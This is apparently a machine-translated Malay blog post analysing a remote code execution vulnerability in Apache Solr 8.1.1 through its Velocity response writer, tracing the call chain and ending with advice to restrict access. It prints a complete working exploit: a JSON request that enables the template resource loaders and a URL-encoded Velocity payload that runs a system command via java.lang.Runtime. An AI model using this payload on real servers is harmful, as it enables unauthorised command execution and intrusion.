Bagaimana untuk menganalisis kerentanan RCE terkini dalam Apache Solr

王林
Lepaskan: 2023-05-25 18:58:30
ke hadapan
1451 orang telah melayarinya

Pengenalan

Kerentanan RCE 0hari ditemui dalam Apache Solr (nombor kerentanan tidak diberikan Di sini kami hanya menghasilkan semula objek dan menganalisis keseluruhan proses RCE untuk kemudahan anda.

Kerentanan Berulang

Versi Berulang: 8.1.1

Untuk melaksanakan RCE, anda perlu membahagikannya kepada dua langkah Pertama, sahkan bahawa aplikasi mempunyai a teras tertentu didayakan (anda boleh Lihat dalam Pentadbir Teras), aplikasi dalam contoh itu telah mycore didayakan,

怎样进行Apache Solr最新RCE漏洞分析

dan kemudian mula-mula menghantar data json berikut ke antara muka konfigurasinya,

{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
Salin selepas log masuk

怎样进行Apache Solr最新RCE漏洞分析

Kemudian lawati url berikut untuk melaksanakan RCE,

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Salin selepas log masuk

Prinsip

Mula-mula analisa paket data pertama, kerana ia adalah konfigurasi daripada mycore, jadi kita dahulukan Titik putus ditetapkan pada fungsi handleRequestBody SolrConfigHandler yang mengendalikan permintaan konfigurasi,

怎样进行Apache Solr最新RCE漏洞分析

Oleh kerana ia adalah permintaan POST, ikuti fungsi handlePOST,

怎样进行Apache Solr最新RCE漏洞分析

Dalam handlePOST, mula-mula keluarkan konfigurasi semasa mycore, dan kemudian bawa ke dalam fungsi handleCommands bersama-sama dengan konfigurasi yang kami hantar, dan dalam operasi seterusnya, akhirnya masukkan addNamedPlugin dan cipta objek VelocityResponseWriter Nilai solr.resource.loader.enabled dan params.resource.loader.enabled ditetapkan kepada benar, dan nama objek ialah halaju.

怎样进行Apache Solr最新RCE漏洞分析

Kemudian apabila menghantar paket data kedua, apabila mendapat responseWriter dalam HttpSolrCall.call, objek responseWriter akan diperolehi mengikut nilai parameter wt velocity, apa yang kami dapat ialah VelocityResponseWriter kami yang dikonfigurasikan dengan teliti

怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析

Selepas beberapa siri panggilan berikutnya, ia akhirnya memasuki kerentanan kami yang paling serius. Fungsi VelocityResponseWriter.write mula-mula memanggil fungsi createEngine untuk menghasilkan enjin yang mengandungi templat hasad custom.vrm->payload

怎样进行Apache Solr最新RCE漏洞分析

Templat hasad diletakkan di dalam enjin. Terdapat perkara yang sangat penting dalam

怎样进行Apache Solr最新RCE漏洞分析

dalam params.resource.loader.instance dan solr.resource.loader.instance overridingProperties Jika anda mahu membiarkan templat hasad masuk params.resource Dalam .loader.instance dan solr.resource.loader.instance, anda perlu memastikan bahawa paramsResourceLoaderEnabled dan solrResourceLoaderEnabled adalah Benar Inilah yang dilakukan oleh paket data pertama kami,

怎样进行Apache Solr最新RCE漏洞分析

<.>Kemudian VelocityResponseWriter.getTemplate akan mendapat templat berniat jahat yang kami bina berdasarkan parameter v.template yang kami serahkan

怎样进行Apache Solr最新RCE漏洞分析

Akhir sekali, templat berniat jahat dikeluarkan dan kaedah gabungannya,

怎样进行Apache Solr最新RCE漏洞分析

Untuk memahami templat ini, anda perlu memahami enjin templat Java Velocity (kerana tmplat ini ialah objek kelas org.apache.velocity.Template), terjemah kenyataan rasmi Seperti berikut,

Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
Salin selepas log masuk
Daripada pernyataan ini, kita dapat melihat bahawa enjin templat ini mempunyai fungsi melaksanakan kod java Kita hanya perlu memahami kaedah penulisan asasnya

// 变量定义 #set($name =“velocity”) // 变量赋值 #set($foo = $bar) // 函数调用 #set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) // 循环语法 #foreach($element in $list) This is $element $velocityCount #end // 执行模板 template.merge(context, writer);
Salin selepas log masuk
Dengan di atas pengenalan sintaks asas, kami boleh memahami kaedah pembinaan muatan Jika anda mahu pemahaman yang lebih mendalam, anda boleh menyemak sendiri maklumat Velocity Java.

Jadi melalui kaedah gabungan templat berniat jahat yang dipanggil terakhir, RCE berjaya dihasilkan dan rantai panggilan kunci akhirnya ditambahkan.

怎样进行Apache Solr最新RCE漏洞分析

Pelan pembaikan

Pada masa ini, tampalan rasmi belum disediakan. Adalah disyorkan untuk menyekat akses kepada solr.

Atas ialah kandungan terperinci Bagaimana untuk menganalisis kerentanan RCE terkini dalam Apache Solr. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sumber:yisu.com
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan
Tentang kita Penafian Sitemap
Laman web PHP Cina:Latihan PHP dalam talian kebajikan awam,Bantu pelajar PHP berkembang dengan cepat!